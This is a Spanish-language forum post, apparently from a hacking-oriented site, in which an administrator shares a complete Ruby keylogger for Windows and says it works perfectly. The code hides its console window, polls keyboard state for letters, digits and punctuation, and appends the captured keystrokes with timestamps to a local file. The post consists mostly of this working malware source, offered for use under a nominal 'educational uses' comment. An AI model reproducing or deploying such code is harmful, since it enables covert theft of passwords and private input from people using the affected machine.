send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keylogger in ruby

  • 0 Respuestas
  • 1463 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5267
  • Actividad:
    48.33%
  • Reputación 26
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 24, 2010, 03:58:51 pm »
Pues ......... un keylogger en ruby lo he probado y funciona perfecto

Código: Ruby
  1. # a simple hookless keylogger, tested on winxp
  2. # written by nobot (for educational uses)
  3.  
  4. require 'Win32API'
  5.  
  6. #hide the console window.
  7. win = Win32API.new('kernel32' , 'GetConsoleWindow' , [] , 'L').call
  8. Win32API.new( 'user32' , 'ShowWindow' , ['p' , 'i'] , 'i' ).call(win, 0)
  9.  
  10. #hash mapping of interesting characters to virtual keycodes
  11. keys = Hash[' ' => 0x20, ',' => 0xBC, '.' => 0xBE]
  12. (0x30 .. 0x39).each {|v| keys[v-0x30] = v} #numerals 0-9
  13. (0x41 .. 0x5A).each {|v| keys[v.chr] = v} #letters A-Z
  14.  
  15. GetAsyncKeyState = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')
  16.  
  17. keys.each_value {|v| GetAsyncKeyState.call(v) }
  18.  
  19. file = File.open('evil_file.txt', 'a')
  20. file.puts "\n" + Time.now.to_s
  21. while true
  22.   break if GetAsyncKeyState.call(0x1B) & 0x01 == 1 #esc
  23.   keys.each {|k, v| file.print k if GetAsyncKeyState.call(v) & 0x01 == 1}
  24.   sleep 0.1
  25. end
  26. file.close
« Última modificación: Julio 31, 2014, 09:44:37 pm por Expermicid »


 

¿Te gustó el post? COMPARTILO!



[Ruby] Traductor de Decimal a Ascii / Ascii a Decimal

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1333
Último mensaje Febrero 24, 2010, 04:16:38 pm
por ANTRAX
Lenguaje Ruby, aprendiendo poco a poco.

Iniciado por Alejandro9999

Respuestas: 2
Vistas: 1260
Último mensaje Agosto 15, 2013, 02:58:39 pm
por Alejandro9999
Crafting rails 4 applications (Manual de Ruby on Rails 4)

Iniciado por Alejandro9999

Respuestas: 0
Vistas: 808
Último mensaje Marzo 01, 2014, 05:34:50 pm
por Alejandro9999
Desarrollo de aplicaciones Perl, PHP, Python y "Ruby on Rails"

Iniciado por Alejandro9999

Respuestas: 0
Vistas: 1032
Último mensaje Junio 13, 2014, 03:27:08 pm
por Alejandro9999
Como Instalar RubyMine y Crear un proyecto vacio para Ruby y Rails

Iniciado por Alejandro9999

Respuestas: 0
Vistas: 1495
Último mensaje Julio 07, 2013, 10:51:08 pm
por Alejandro9999